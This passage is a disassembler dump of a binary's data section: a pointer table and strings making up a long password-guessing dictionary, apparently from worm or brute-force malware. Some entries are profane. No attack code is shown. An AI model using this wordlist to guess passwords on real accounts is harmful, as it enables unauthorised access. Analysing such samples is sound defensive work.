"sesame" dd offset aSexy ; "sexy" dd offset aShannon ; "shannon" dd offset aSharc ; "sharc" dd offset aShark ; "shark" dd offset aSharks ; "sharks" dd offset aSharon ; "sharon" dd offset aSheffiel ; "sheffiel" dd offset aSheldon ; "sheldon" dd offset aShell ; "shell" dd offset aSherri ; "sherri" dd offset aShift ; "shift" dd offset aShirley ; "shirley" dd offset aShit ; "shit" dd offset aShitpot ; "shitpot" dd offset aShiva ; "shiva" dd offset aShivers ; "shivers" dd offset aShort ; "short" dd offset aShuttle ; "shuttle" dd offset aSick ; "sick" dd offset aSierra ; "sierra" dd offset aSignatur ; "signatur" dd offset aSilver ; "silver" dd offset aSimcity ; "simcity" dd offset aSimon ; "simon" dd offset aSimple ; "simple" dd offset aSimpsons ; "simpsons" dd offset aSimulati ; "simulati" dd offset aSinger ; "singer" dd offset aSingle ; "single" dd offset aSite ; "site" dd offset aSkull ; "skull" dd offset aSlave ; "slave" dd offset aSlick ; "slick" dd offset aSliders ; "sliders" dd offset aSlow ; "slow" dd offset aSlut ; "slut" dd offset aSmall ; "small" dd offset aSmart ; "smart" dd offset aSmile ; "smile" dd offset aSmiles ; "smiles" dd offset aSmooch ; "smooch" dd offset aSmother ; "smother" dd offset aSmtp ; "smtp" dd offset aSmut ; "smut" dd offset aSnach ; "snach" dd offset aSnafu ; "snafu" dd offset aSnake ; "snake" dd offset aSnatch ; "snatch" dd offset aSnoopy ; "snoopy" dd offset aSoap ; "soap" dd offset aSocial ; "social" dd offset aSocrates ; "socrates" dd offset aSodomy ; "sodomy" dd offset aSoft ; "soft" dd offset aSoftware ; "software" dd offset aSomebody ; "somebody" dd offset aSondra ; "sondra" dd offset aSonia ; "sonia" dd offset aSonic ; "sonic" dd offset aSonya ; "sonya" dd offset aSossina ; "sossina" dd offset aSource ; "source" dd offset aSouth ; "south" dd offset aSpaceshi ; "spaceshi" dd offset aSparrows ; "sparrows" dd offset aSpear ; "spear" dd offset aSpell ; "spell" dd offset aSpice ; "spice" dd offset aSpider ; "spider" dd offset aSpiderma ; "spiderma" dd offset aSpit ; "spit" dd offset aSpred ; "spred" dd offset aSpring ; "spring" dd offset aSpringer ; "springer" dd offset aSpunk ; "spunk" dd offset aSquires ; "squires" dd offset aSr71 ; "sr71" dd offset aStacey ; "stacey" dd offset aStaci ; "staci" dd offset aStacie ; "stacie" dd offset aStacy ; "stacy" dd offset aStar ; "star" dd offset aStarship ; "starship" dd offset aStart ; "start" dd offset aStartrek ; "startrek" dd offset aStartup ; "startup" dd offset aStarwars ; "starwars" dd offset aSteak ; "steak" dd offset aSteal ; "steal" dd offset aSteel ; "steel" dd offset aSteph ; "steph" dd offset aStephani ; "stephani" dd offset aStereo ; "stereo" dd offset aSteve ; "steve" dd offset aStoneage ; "stoneage" dd offset aStoned ; "stoned" dd offset aStones ; "stones" dd offset aStrange ; "strange" dd offset aStrangle ; "strangle" dd offset aStratfor ; "stratfor" dd offset aStreetfi ; "streetfi" dd offset aString ; "string" dd offset aStrip ; "strip" dd offset aStudent ; "student" dd offset aStuttgar ; "stuttgar" dd offset aSubscrib ; "subscrib" dd offset aSubway ; "subway" dd offset aSuccess ; "success" dd offset aSuck ; "suck" dd offset aSuckmydi ; "suckmydi" dd offset aSucks ; "sucks" dd offset aSummer ; "summer" dd offset aSunday ; "sunday" dd offset aSuperman ; "superman" dd offset aSuperson ; "superson" dd offset aSupersta ; "supersta" dd offset aSuperuse ; "superuse" dd offset aSupervis ; "supervis" dd offset aSupport ; "support" dd offset aSupporte ; "supporte" dd offset aSurfer ; "surfer" dd offset aSurfing ; "surfing" dd offset aSusan ; "susan" dd offset aSusanne ; "susanne" dd offset aSusie ; "susie" dd offset aSuzanne ; "suzanne" dd offset aSuzie ; "suzie" dd offset aSwearer ; "swearer" dd offset aSweat ; "sweat" dd offset aSwitch ; "switch" dd offset aSword ; "sword" dd offset aSybil ; "sybil" dd offset aSymmetry ; "symmetry" dd offset aSysadmin ; "sysadmin" dd offset aSysop ; "sysop" dd offset aTabasco ; "tabasco" dd offset aTalk ; "talk" dd offset aTall ; "tall" dd offset aTamara ; "tamara" dd offset aTami ; "tami" dd offset aTamie ; "tamie" dd offset aTammy ; "tammy" dd offset aTangerin ; "tangerin" dd offset aTango ; "tango" dd offset aTape ; "tape" dd offset aTara ; "tara" dd offset aTarget ; "target" dd offset aTarragon ; "tarragon" dd offset aTaylor ; "taylor" dd offset aTeacher ; "teacher" dd offset aTeam ; "team" dd offset aTeapot ; "teapot" dd offset aTears ; "tears" dd offset aTech ; "tech" dd offset aTeen ; "teen" dd offset aTeenage ; "teenage" dd offset aTelephon ; "telephon" dd offset aTelnet ; "telnet" dd offset aTemptati ; "temptati" dd offset aTennis ; "tennis" dd offset aTera ; "tera" dd offset aTerminal ; "terminal" dd offset aTerminat ; "terminat" dd offset aTess ; "tess" dd offset aTetris ; "tetris" dd offset aText ; "text" dd offset aThailand ; "thailand" dd offset aTheresa ; "theresa" dd offset aThin ; "thin" dd offset aThursday ; "thursday" dd offset aTiffany ; "tiffany" dd offset aTiger ; "tiger" dd offset aTime ; "time" dd offset aTina ; "tina" dd offset aTits ; "tits" dd offset aToad ; "toad" dd offset aToggle ; "toggle" dd offset aToken ; "token" dd offset aTokenrin ; "tokenrin" dd offset aTomato ; "tomato" dd offset aTopograp ; "topograp" dd offset aTortoise ; "tortoise" dd offset aToxic ; "toxic" dd offset aToyota ; "toyota" dd offset aTraci ; "traci" dd offset aTracie ; "tracie" dd offset aTracy ; "tracy" dd offset aTrails ; "trails" dd offset aTransfer ; "transfer" dd offset aTrap ; "trap" dd offset aTrapdoor ; "trapdoor" dd offset aTree ; "tree" dd offset aTrek ; "trek" dd offset aTrisha ; "trisha" dd offset aTrivial ; "trivial" dd offset aTrojan ; "trojan" dd offset aTrombone ; "trombone" dd offset aTron ; "tron" dd offset aTrue ; "true" dd offset aTruth ; "truth" dd offset aTubas ; "tubas" dd offset aTuesday ; "tuesday" dd offset aTurn ; "turn" dd offset aTuttle ; "tuttle" dd offset aUgly ; "ugly" dd offset aUmesh ; "umesh" dd offset aUncle ; "uncle" dd offset aUndo ; "undo" dd offset aUnhappy ; "unhappy" dd offset aUnicorn ; "unicorn" dd offset aUniform ; "uniform" dd offset aUniversa ; "universa" dd offset aUniverse ; "universe" dd offset aUniversi ; "universi" dd offset aUnknown_1 ; "unknown" dd offset aUnlock ; "unlock" dd offset aUpload ; "upload" dd offset aUranus ; "uranus" dd offset aUrchin ; "urchin" dd offset aUrsula ; "ursula" dd offset aUsenet ; "usenet" dd offset aUsermane ; "usermane" dd offset aUsername ; "username" dd offset aUsmc ; "usmc" dd offset aUtil ; "util" dd offset aUtility ; "utility" dd offset aUucp ; "uucp" dd offset aVagina ; "vagina" dd offset aValerie ; "valerie" dd offset aVampire ; "vampire" dd offset aVasant ; "vasant" dd offset aVenus ; "venus" dd offset aVeronica ; "veronica" dd offset aVertigo ; "vertigo" dd offset aVicky ; "vicky" dd offset aVictor ; "victor" dd offset aVideo ; "video" dd offset aVideogam ; "videogam" dd offset aVillage ; "village" dd offset aVirgin ; "virgin" dd offset aVirginia ; "virginia" dd offset aVirus ; "virus" dd offset aVisitor ; "visitor" dd offset aVisual ; "visual" dd offset aVisualba ; "visualba" dd offset aVodka ; "vodka" dd offset aWaco ; "waco" dd offset aWard ; "ward" dd offset aWarez ; "warez" dd offset aWarfare ; "warfare" dd offset aWargames ; "wargames" dd offset aWarp ; "warp" dd offset aWarren ; "warren" dd offset aWasp ; "wasp" dd offset aWatchwor ; "watchwor" dd offset aWater ; "water" dd offset aWave ; "wave" dd offset aWebpage ; "webpage" dd offset aWednesda ; "wednesda" dd offset aWeed ; "weed" dd offset aWeenie ; "weenie" dd offset aWell ; "well" dd offset aWendi ; "wendi" dd offset aWendy ; "wendy" dd offset aWerewolf ; "werewolf" dd offset aWest ; "west" dd offset aWestern ; "western" dd offset aWhatever ; "whatever" dd offset aWhatnot ; "whatnot" dd offset aWhisky ; "whisky" dd offset aWhite ; "white" dd offset aWhiting ; "whiting" dd offset aWhitney ; "whitney" dd offset aWholesal ; "wholesal" dd offset aWhore ; "whore" dd offset aWill ; "will" dd offset aWilliam ; "william" dd offset aWilliams ; "williams" dd offset aWillie ; "willie" dd offset aWilma ; "wilma" dd offset aWindows ; "windows" dd offset aWine ; "wine" dd offset aWing ; "wing" dd offset aWinston ; "winston" dd offset aWired ; "wired" dd offset aWisconsi ; "wisconsi" dd offset aWiseass ; "wiseass" dd offset aWithin ; "within" dd offset aWizard ; "wizard" dd offset aWolf ; "wolf" dd offset aWolverin ; "wolverin" dd offset aWoman ; "woman" dd offset aWombat ; "wombat" dd offset aWomen ; "women" dd offset aWood ; "wood" dd offset aWoodwind ; "woodwind" dd offset aWord ; "word" dd offset aWordperf ; "wordperf" dd offset aWorf ; "worf" dd offset aWork ; "work" dd offset aWorm ; "worm" dd offset aWormwood ; "wormwood" dd offset aWwii ; "wwii" dd offset aWyoming ; "wyoming" dd offset aXena ; "xena" dd offset aXfer ; "xfer" dd offset aXman ; "xman" dd offset aXmen ; "xmen" dd offset aXmodem ; "xmodem" dd offset aXray ; "xray" dd offset aXyzzy ; "xyzzy" dd offset aYaco ; "yaco" dd offset aYang ; "yang" dd offset aYankee ; "yankee" dd offset aYellow ; "yellow" dd offset aYellowst ; "yellowst" dd offset aYolanda ; "yolanda" dd offset aYosemite ; "yosemite" dd offset aYoung ; "young" dd offset aZebra ; "zebra" dd offset aZeitgeis ; "zeitgeis" dd offset aZiggy ; "ziggy" dd offset aZimmerma ; "zimmerma" dd offset aZmodem ; "zmodem" dd offset aZombie ; "zombie" dd offset aZulu ; "zulu" dd offset a00000000 ; "00000000" dd offset aTester ; "tester" dd offset aTestin ; "testin" dd offset aRoss ; "Ross" dd offset aRosco ; "Rosco" dd offset aRoscop ; "RoscoP" dd offset aRoscopcoltrane ; "RoscoPColtrane" dd offset aLol ; "lol" dd offset aD00d ; "d00d" dd offset aDudette ; "dudette" dd offset aDud3 ; "dud3" dd offset aAl3x ; "Al3x" dd offset aAlexander ; "Alexander" dd offset aDonaldduck ; "donaldduck" dd offset aWileecoyote ; "wileecoyote" dd offset aWindowz ; "windowz" dd offset aWindoze ; "windoze" dd offset aWindose ; "windose" dd offset aBilly ; "billy" dd offset aM ; "M$" dd offset aMs ; "MS" dd offset aWindowsxp ; "WindowsXP" dd offset aWindows2k ; "windows2k" dd offset aWindowsme ; "windowsME" dd offset aWindows98 ; "windows98" dd offset aWindows95 ; "windows95" dd offset aWindozexp ; "windozexp" dd offset aWindoze2k ; "windoze2k" dd offset aWindozeme ; "windozeME" dd offset aWindoze98 ; "windoze98" dd offset aWindoze95 ; "windoze95" dd offset aWh0r3 ; "wh0r3" dd offset aHo ; "ho" dd offset aWh0re ; "wh0re" dd offset aHax ; "hax" dd offset aHaxing ; "haxing" dd offset aH4x1ng ; "h4x1ng" dd offset aH4x0r1ng ; "h4x0r1ng" dd offset aH4x0ring ; "h4x0ring" dd offset aAda ; "ada" dd offset aAlbatross ; "albatross" dd offset aAlf ; "alf" dd offset aAma ; "ama" dd offset aAmorphous ; "amorphous" dd offset aAmy ; "amy" dd offset aAndromache ; "andromache" dd offset aAnn ; "ann" dd offset aAnthropogenic ; "anthropogenic" dd offset aAsd ; "asd" dd offset aAsm ; "asm" dd offset aAtmosphere ; "atmosphere" dd offset aBeethoven ; "beethoven" dd offset aBicameral ; "bicameral" dd offset aBob ; "bob" dd offset aBsd ; "bsd" dd offset aCad ; "cad" dd offset aCampanile ; "campanile" dd offset aCat ; "cat" dd offset aCatherine ; "catherine" dd offset aChemistry ; "chemistry" dd offset aChristina ; "christina" dd offset aChristine ; "christine" dd offset aCommrades ; "commrades" dd offset aCornelius ; "cornelius" dd offset aDeb ; "deb" dd offset aDesperate ; "desperate" dd offset aDiscovery ; "discovery" dd offset aDog ; "dog" dd offset aDos ; "dos" dd offset aEdinburgh ; "edinburgh" dd offset aEiderdown ; "eiderdown" dd offset aElizabeth ; "elizabeth" dd offset aEnterprise ; "enterprise" dd offset aEstablish ; "establish" dd offset aExtension ; "extension" dd offset aFoolproof ; "foolproof" dd offset aForesight ; "foresight" dd offset aFun ; "fun" dd offset aGnu ; "gnu" dd offset aHal ; "hal" dd offset aHappening ; "happening" dd offset aIbm ; "ibm" dd offset aImbroglio ; "imbroglio" dd offset aInnocuous ; "innocuous" dd offset aJen ; "jen" dd offset aJoy ; "joy" dd offset aKey ; "key" dd offset aKim ; "kim" dd offset aLamination ; "lamination" dd offset aLee ; "lee" dd offset aLiz ; "liz" dd offset aMacintosh ; "macintosh" dd offset aMgr ; "mgr" dd offset aMit ; "mit" dd offset aNet ; "net" dd offset aNew ; "new" dd offset aNutrition ; "nutrition" dd offset aOceanography ; "oceanography" dd offset aPad ; "pad" dd offset aPam ; "pam" dd offset aPercolate ; "percolate" dd offset aPersimmon ; "persimmon" dd offset aPolynomial ; "polynomial" dd offset aPondering ; "pondering" dd offset aPrinceton ; "princeton" dd offset aProfessor ; "professor" dd offset aPub ; "pub" dd offset aRachmaninoff ; "rachmaninoff" dd offset aRje ; "rje" dd offset aRochester ; "rochester" dd offset aSal ; "sal" dd offset aSheffield ; "sheffield" dd offset aSignature ; "signature" dd offset aStephanie ; "stephanie" dd offset aStratford ; "stratford" dd offset aStuttgart ; "stuttgart" dd offset aSun ; "sun" dd offset aSuperstage ; "superstage" dd offset aSuperuser ; "superuser" dd offset aSupported ; "supported" dd offset aSys ; "sys" dd offset aTangerine ; "tangerine" dd offset aTelephone ; "telephone" dd offset aTemptation ; "temptation" dd offset aTopography ; "topography" dd offset aTty ; "tty" dd offset aWholesale ; "wholesale" dd offset aWilliamsburg ; "williamsburg" dd offset aWisconsin ; "wisconsin" dd offset aXyz ; "xyz" dd offset aYellowstone ; "yellowstone" dd offset aZap ; "zap" dd offset aZimmerman ; "zimmerman" dd offset byte_43C80C dd 0 dword_4313B4 dd 10h ; DATA XREF: sub_40BE75+72w ; sub_40EE72+B6Er ... aZimmerman db 'zimmerman',0 ; DATA XREF: ___:004313A8o align 4 aZap db 'zap',0 ; DATA XREF: ___:004313A4o aYellowstone db 'yellowstone',0 ; DATA XREF: ___:004313A0o aXyz db 'xyz',0 ; DATA XREF: ___:0043139Co aWisconsin db 'wisconsin',0 ; DATA XREF: ___:00431398o align 4 aWilliamsburg db 'williamsburg',0 ; DATA XREF: ___:00431394o align 4 aWholesale db 'wholesale',0 ; DATA XREF: ___:00431390o align 10h aTty db 'tty',0 ; DATA XREF: ___:0043138Co aTopography db 'topography',0 ; DATA XREF: ___:00431388o align 10h aTemptation db 'temptation',0 ; DATA XREF: ___:00431384o align 4 aTelephone db 'telephone',0 ; DATA XREF: ___:00431380o align 4 aTangerine db 'tangerine',0 ; DATA XREF: ___:0043137Co align 4 aSys db 'sys',0 ; DATA XREF: ___:00431378o aSupported db 'supported',0 ; DATA XREF: ___:00431374o align 4 aSuperuser db 'superuser',0 ; DATA XREF: ___:00431370o align 10h aSuperstage db 'superstage',0 ; DATA XREF: ___:0043136Co align 4 aSun db 'sun',0 ; DATA XREF: ___:00431368o aStuttgart db 'stuttgart',0 ; DATA XREF: ___:00431364o align 4 aStratford db 'stratford',0 ; DATA XREF: ___:00431360o align 4 aStephanie db 'stephanie',0 ; DATA XREF: ___:0043135Co align 4 aSignature db 'signature',0 ; DATA XREF: ___:00431358o align 10h aSheffield db 'sheffield',0 ; DATA XREF: ___:00431354o align 4 aSal db 'sal',0 ; DATA XREF: ___:00431350o aRochester db 'rochester',0 ; DATA XREF: ___:0043134Co align 4 aRje db 'rje',0 ; DATA XREF: ___:00431348o aRachmaninoff db 'rachmaninoff',0 ; DATA XREF: ___:00431344o align 10h aPub db 'pub',0 ; DATA XREF: ___:00431340o aProfessor db 'professor',0 ; DATA XREF: ___:0043133Co align 10h aPrinceton db 'princeton',0 ; DATA XREF: ___:00431338o align 4 aPondering db 'pondering',0 ; DATA XREF: ___:00431334o align 4 aPolynomial db 'polynomial',0 ; DATA XREF: ___:00431330o align 4 aPersimmon db 'persimmon',0 ; DATA XREF: ___:0043132Co align 10h aPercolate db 'percolate',0 ; DATA XREF: ___:00431328o align 4 aPam db 'pam',0 ; DATA XREF: ___:00431324o aPad db 'pad',0 ; DATA XREF: ___:00431320o aOceanography db 'oceanography',0 ; DATA XREF: ___:0043131Co align 4 aNutrition db 'nutrition',0 ; DATA XREF: ___:00431318o align 10h aNew db 'new',0 ; DATA XREF: ___:00431314o aNet db 'net',0 ; DATA XREF: ___:00431310o aMit db 'mit',0 ; DATA XREF: ___:0043130Co aMgr db 'mgr',0 ; DATA XREF: ___:00431308o aMacintosh db 'macintosh',0 ; DATA XREF: ___:00431304o align 4 aLiz db 'liz',0 ; DATA XREF: ___:00431300o aLee db 'lee',0 ; DATA XREF: ___:004312FCo aLamination db 'lamination',0 ; DATA XREF: ___:004312F8o align 10h aKim db 'kim',0 ; DATA XREF: ___:004312F4o aJoy db 'joy',0 ; DATA XREF: ___:004312ECo aJen db 'jen',0 ; DATA XREF: ___:004312E8o aInnocuous db 'innocuous',0 ; DATA XREF: ___:004312E4o align 4 aImbroglio db 'imbroglio',0 ; DATA XREF: ___:004312E0o align 4 aIbm db 'ibm',0 ; DATA XREF: ___:004312DCo aHappening db 'happening',0 ; DATA XREF: ___:004312D8o align 4 aHal db 'hal',0 ; DATA XREF: ___:004312D4o aGnu db 'gnu',0 ; DATA XREF: ___:004312D0o aFun db 'fun',0 ; DATA XREF: ___:004312CCo aForesight db 'foresight',0 ; DATA XREF: ___:004312C8o align 4 aFoolproof db 'foolproof',0 ; DATA XREF: ___:004312C4o align 4 aExtension db 'extension',0 ; DATA XREF: ___:004312C0o align 4 aEstablish db 'establish',0 ; DATA XREF: ___:004312BCo align 10h aEnterprise db 'enterprise',0 ; DATA XREF: ___:004312B8o align 4 aElizabeth db 'elizabeth',0 ; DATA XREF: ___:004312B4o align 4 aEiderdown db 'eiderdown',0 ; DATA XREF: ___:004312B0o align 4 aEdinburgh db 'edinburgh',0 ; DATA XREF: ___:004312ACo align 10h aDos db 'dos',0 ; DATA XREF: ___:004312A8o aDog db 'dog',0 ; DATA XREF: ___:004312A4o aDiscovery db 'discovery',0 ; DATA XREF: ___:004312A0o align 4 aDesperate db 'desperate',0 ; DATA XREF: ___:0043129Co align 10h aDeb db 'deb',0 ; DATA XREF: ___:00431298o aCornelius db 'cornelius',0 ; DATA XREF: ___:00431294o align 10h aCommrades db 'commrades',0 ; DATA XREF: ___:00431290o align 4 aChristine db 'christine',0 ; DATA XREF: ___:0043128Co align 4 aChristina db 'christina',0 ; DATA XREF: ___:00431288o align 4 aChemistry db 'chemistry',0 ; DATA XREF: ___:00431284o align 10h aCatherine db 'catherine',0 ; DATA XREF: ___:00431280o align 4 aCat db 'cat',0 ; DATA XREF: ___:0043127Co aCampanile db 'campanile',0 ; DATA XREF: ___:00431278o align 4 aCad db 'cad',0 ; DATA XREF: ___:00431274o aBsd db 'bsd',0 ; DATA XREF: ___:00431270o aBob db 'bob',0 ; DATA XREF: ___:0043126Co aBicameral db 'bicameral',0 ; DATA XREF: ___:00431268o align 4 aBeethoven db 'beethoven',0 ; DATA XREF: ___:00431264o align 10h aAtmosphere db 'atmosphere',0 ; DATA XREF: ___:00431260o align 4 aAsm db 'asm',0 ; DATA XREF: ___:0043125Co aAsd db 'asd',0 ; DATA XREF: ___:00431258o aAnthropogenic db 'anthropogenic',0 ; DATA XREF: ___:00431254o align 4 aAnn db 'ann',0 ; DATA XREF: ___:00431250o aAndromache db 'andromache',0 ; DATA XREF: ___:0043124Co align 4 aAmy db 'amy',0 ; DATA XREF: ___:00431248o aAmorphous db 'amorphous',0 ; DATA XREF: ___:00431244o align 4 aAma db 'ama',0 ; DATA XREF: ___:00431240o aAlf db 'alf',0 ; DATA XREF: ___:0043123Co aAlbatross db 'albatross',0 ; DATA XREF: ___:00431238o align 4 aAda db 'ada',0 ; DATA XREF: ___:00431234o aH4x0ring db 'h4x0ring',0 ; DATA XREF: ___:00431230o align 4 aH4x0r1ng db 'h4x0r1ng',0 ; DATA XREF: ___:0043122Co align 4 aH4x1ng db 'h4x1ng',0 ; DATA XREF: ___:00431228o align 4 aHaxing db 'haxing',0 ; DATA XREF: ___:00431224o align 4 aHax db 'hax',0 ; DATA XREF: ___:00431220o aWh0re db 'wh0re',0 ; DATA XREF: ___:0043121Co align 10h aHo db 'ho',0 ; DATA XREF: ___:00431218o align 4 aWh0r3 db 'wh0r3',0 ; DATA XREF: ___:00431214o align 4 aWindoze95 db 'windoze95',0 ; DATA XREF: ___:00431210o align 4 aWindoze98 db 'windoze98',0 ; DATA XREF: ___:0043120Co align 4 aWindozeme db 'windozeME',0 ; DATA XREF: ___:00431208o align 10h aWindoze2k db 'windoze2k',0 ; DATA XREF: ___:00431204o align 4 aWindozexp db 'windozexp',0 ; DATA XREF: ___:00431200o align 4 aWindows95 db 'windows95',0 ; DATA XREF: ___:004311FCo align 4 aWindows98 db 'windows98',0 ; DATA XREF: ___:004311F8o align 10h aWindowsme db 'windowsME',0 ; DATA XREF: ___:004311F4o align 4 aWindows2k db 'windows2k',0 ; DATA XREF: ___:004311F0o align 4 aWindowsxp db 'WindowsXP',0 ; DATA XREF: ___:004311ECo align 4 aMs db 'MS',0 ; DATA XREF: ___:004311E8o align 4 aM db 'M$',0 ; DATA XREF: ___:004311E4o align 4 aBilly db 'billy',0 ; DATA XREF: ___:004311E0o align 4 aWindose db 'windose',0 ; DATA XREF: ___:004311DCo aWindoze db 'windoze',0 ; DATA XREF: ___:004311D8o aWindowz db 'windowz',0 ; DATA XREF: ___:004311D4o aWileecoyote db 'wileecoyote',0 ; DATA XREF: ___:004311D0o aDonaldduck db 'donaldduck',0 ; DATA XREF: ___:004311CCo align 4 aAlexander db 'Alexander',0 ; DATA XREF: ___:004311C8o align 10h aAl3x db 'Al3x',0 ; DATA XREF: ___:004311C4o align 4 aDud3 db 'dud3',0 ; DATA XREF: ___:004311C0o align 10h aDudette db 'dudette',0 ; DATA XREF: ___:004311BCo aD00d db 'd00d',0 ; DATA XREF: ___:004311B8o align 10h aLol db 'lol',0 ; DATA XREF: ___:004311B4o aRoscopcoltrane db 'RoscoPColtrane',0 ; DATA XREF: ___:004311B0o align 4 aRoscop db 'RoscoP',0 ; DATA XREF: ___:004311ACo align 4 aRosco db 'Rosco',0 ; DATA XREF: ___:004311A8o align 4 aRoss db 'Ross',0 ; DATA XREF: ___:004311A4o align 4 aTestin db 'testin',0 ; DATA XREF: ___:004311A0o align 4 aTester db 'tester',0 ; DATA XREF: ___:0043119Co align 4 a00000000 db '00000000',0 ; DATA XREF: ___:00431198o align 4 aZulu db 'zulu',0 ; DATA XREF: ___:00431194o align 10h aZombie db 'zombie',0 ; DATA XREF: ___:00431190o align 4 aZmodem db 'zmodem',0 ; DATA XREF: ___:0043118Co align 10h aZimmerma db 'zimmerma',0 ; DATA XREF: ___:00431188o align 4 aZiggy db 'ziggy',0 ; DATA XREF: ___:00431184o align 4 aZeitgeis db 'zeitgeis',0 ; DATA XREF: ___:00431180o align 10h aZebra db 'zebra',0 ; DATA XREF: ___:0043117Co align 4 aYoung db 'young',0 ; DATA XREF: ___:00431178o align 10h aYosemite db 'yosemite',0 ; DATA XREF: ___:00431174o align 4 aYolanda db 'yolanda',0 ; DATA XREF: ___:00431170o aYellowst db 'yellowst',0 ; DATA XREF: ___:0043116Co align 10h aYellow db 'yellow',0 ; DATA XREF: ___:00431168o align 4 aYankee db 'yankee',0 ; DATA XREF: ___:00431164o align 10h aYang db 'yang',0 ; DATA XREF: ___:00431160o align 4 aYaco db 'yaco',0 ; DATA XREF: ___:0043115Co align 10h aXyzzy db 'xyzzy',0 ; DATA XREF: ___:00431158o align 4 aXray db 'xray',0 ; DATA XREF: ___:00431154o align 10h aXmodem db 'xmodem',0 ; DATA XREF: ___:00431150o align 4 aXmen db 'xmen',0 ; DATA XREF: ___:0043114Co align 10h aXman db 'xman',0 ; DATA XREF: ___:00431148o align 4 aXfer db 'xfer',0 ; DATA XREF: ___:00431144o align 10h aXena db 'xena',0 ; DATA XREF: ___:00431140o align 4 aWyoming db 'wyoming',0 ; DATA XREF: ___:0043113Co aWwii db 'wwii',0 ; DATA XREF: ___:00431138o align 4 aWormwood db 'wormwood',0 ; DATA XREF: ___:00431134o align 4 aWorm db 'worm',0 ; DATA XREF: ___:00431130o align 4 aWork db 'work',0 ; DATA XREF: ___:0043112Co align 4 aWorf db 'worf',0 ; DATA XREF: ___:00431128o align 4 aWordperf db 'wordperf',0 ; DATA XREF: ___:00431124o align 4 aWord db 'word',0 ; DATA XREF: ___:00431120o align 10h aWoodwind db 'woodwind',0 ; DATA XREF: ___:0043111Co align 4 aWood db 'wood',0 ; DATA XREF: ___:00431118o align 4 aWomen db 'women',0 ; DATA XREF: ___:00431114o align 4 aWombat db 'wombat',0 ; DATA XREF: ___:00431110o align 4 aWoman db 'woman',0 ; DATA XREF: ___:0043110Co align 4 aWolverin db 'wolverin',0 ; DATA XREF: ___:00431108o align 4 aWolf db 'wolf',0 ; DATA XREF: ___:00431104o align 10h aWizard db 'wizard',0 ; DATA XREF: ___:00431100o align 4 aWithin db 'within',0 ; DATA XREF: ___:004310FCo align 10h aWiseass db 'wiseass',0 ; DATA XREF: ___:004310F8o aWisconsi db 'wisconsi',0 ; DATA XREF: ___:004310F4o align 4 aWired db 'wired',0 ; DATA XREF: ___:004310F0o align 4 aWinston db 'winston',0 ; DATA XREF: ___:004310ECo aWing db 'wing',0 ; DATA XREF: ___:004310E8o align 4 aWine db 'wine',0 ; DATA XREF: ___:004310E4o align 4 aWindows db 'windows',0 ; DATA XREF: ___:004310E0o aWilma db 'wilma',0 ; DATA XREF: ___:004310DCo align 4 aWillie db 'willie',0 ; DATA XREF: ___:004310D8o align 4 aWilliams db 'williams',0 ; DATA XREF: ___:004310D4o align 4 aWilliam db 'william',0 ; DATA XREF: ___:004310D0o aWill db 'will',0 ; DATA XREF: ___:004310CCo align 4 aWhore db 'whore',0 ; DATA XREF: ___:004310C8o align 10h aWholesal db 'wholesal',0 ; DATA XREF: ___:004310C4o align 4 aWhitney db 'whitney',0 ; DATA XREF: ___:004310C0o aWhiting db 'whiting',0 ; DATA XREF: ___:004310BCo aWhite db 'white',0 ; DATA XREF: ___:004310B8o align 4 aWhisky db 'whisky',0 ; DATA XREF: ___:004310B4o align 4 aWhatnot db 'whatnot',0 ; DATA XREF: ___:004310B0o aWhatever db 'whatever',0 ; DATA XREF: ___:004310ACo align 10h aWestern db 'western',0 ; DATA XREF: ___:004310A8o aWest db 'west',0 ; DATA XREF: ___:004310A4o align 10h aWerewolf db 'werewolf',0 ; DATA XREF: ___:004310A0o align 4 aWendy db 'wendy',0 ; DATA XREF: ___:0043109Co align 4 aWendi db 'wendi',0 ; DATA XREF: ___:00431098o align 4 aWell db 'well',0 ; DATA XREF: ___:00431094o align 4 aWeenie db 'weenie',0 ; DATA XREF: ___:00431090o align 4 aWeed db 'weed',0 ; DATA XREF: ___:0043108Co align 4 aWednesda db 'wednesda',0 ; DATA XREF: ___:00431088o align 10h aWebpage db 'webpage',0 ; DATA XREF: ___:00431084o aWave db 'wave',0 ; DATA XREF: ___:00431080o align 10h aWater db 'water',0 ; DATA XREF: ___:0043107Co align 4 aWatchwor db 'watchwor',0 ; DATA XREF: ___:00431078o align 4 aWasp db 'wasp',0 ; DATA XREF: ___:00431074o align 4 aWarren db 'warren',0 ; DATA XREF: ___:00431070o align 4 aWarp db 'warp',0 ; DATA XREF: ___:0043106Co align 4 aWargames db 'wargames',0 ; DATA XREF: ___:00431068o align 4 aWarfare db 'warfare',0 ; DATA XREF: ___:00431064o aWarez db 'warez',0 ; DATA XREF: ___:00431060o align 4 aWard db 'ward',0 ; DATA XREF: ___:0043105Co align 10h aWaco db 'waco',0 ; DATA XREF: ___:00431058o align 4 aVodka db 'vodka',0 ; DATA XREF: ___:00431054o align 10h aVisualba db 'visualba',0 ; DATA XREF: ___:00431050o align 4 aVisual db 'visual',0 ; DATA XREF: ___:0043104Co align 4 aVisitor db 'visitor',0 ; DATA XREF: ___:00431048o aVirus db 'virus',0 ; DATA XREF: ___:00431044o align 4 aVirginia db 'virginia',0 ; DATA XREF: ___:00431040o align 10h aVirgin db 'virgin',0 ; DATA XREF: ___:0043103Co align 4 aVillage db 'village',0 ; DATA XREF: ___:00431038o aVideogam db 'videogam',0 ; DATA XREF: ___:00431034o align 4 aVideo db 'video',0 ; DATA XREF: sub_40EE72:loc_4135A0o ; ___:00431030o align 4 aVictor db 'victor',0 ; DATA XREF: ___:0043102Co align 4 aVicky db 'vicky',0 ; DATA XREF: ___:00431028o align 4 aVertigo db 'vertigo',0 ; DATA XREF: ___:00431024o aVeronica db 'veronica',0 ; DATA XREF: ___:00431020o align 4 aVenus db 'venus',0 ; DATA XREF: ___:0043101Co align 10h aVasant db 'vasant',0 ; DATA XREF: ___:00431018o align 4 aVampire db 'vampire',0 ; DATA XREF: ___:00431014o aValerie db 'valerie',0 ; DATA XREF: ___:00431010o aVagina db 'vagina',0 ; DATA XREF: ___:0043100Co align 10h aUucp db 'uucp',0 ; DATA XREF: ___:00431008o align 4 aUtility db 'utility',0 ; DATA XREF: ___:00431004o aUtil db 'util',0 ; DATA XREF: ___:00431000o align 4 aUsmc db 'usmc',0 ; DATA XREF: ___:00430FFCo align 10h aUsername db 'username',0 ; DATA XREF: ___:00430FF8o align 4 aUsermane db 'usermane',0 ; DATA XREF: ___:00430FF4o align 4 aUsenet db 'usenet',0 ; DATA XREF: ___:00430FF0o align 10h aUrsula db 'ursula',0 ; DATA XREF: ___:00430FECo align 4 